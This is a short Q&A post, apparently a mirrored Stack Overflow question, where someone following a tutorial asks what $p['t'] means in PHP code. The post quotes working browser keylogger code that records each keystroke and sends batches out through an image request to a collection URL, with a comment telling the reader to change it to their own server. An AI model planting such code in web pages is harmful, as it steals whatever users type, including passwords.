Stack Overflow Asked by rickyk95 on December 3, 2021
I hope you’re all doing well. So I’m trying to follow a tutorial to make a simple keylogger with Java Script and PHP, and there’s one particular line in the code that confuses me.
In one of the bits of code in charge of reading the key strokes there is a $p[‘t’] written inside the for each loop. What does this mean?
This is the code that creates the presses array:
var presses = [];
window.addEventListener("keydown", function (evt) {
presses.push({
t: Math.round(new Date().getTime() / 1000),
k: evt.key,
});
});
And this is the code that regularly sends it to the PHP reader file.
window.setInterval(function () {
if (presses.length > 5) {
var data = encodeURIComponent(JSON.stringify(presses));
// console.log(data);
new Image().src = "http://localhost/test/keylog.php?k=" + data; // CHANGE THIS URL TO YOUR OWN!
presses = [];
}
}, 500);
foreach ($presses as $p) {
printf("[%s] %s<br>", date("Y-m-d H:i:s", $p['t']), $p['k']);
}
Get help from others!
Recent Questions
Recent Answers
© 2024 TransWikia.com. All rights reserved. Sites we Love: PCI Database, UKBizDB, Menu Kuliner, Sharing RPP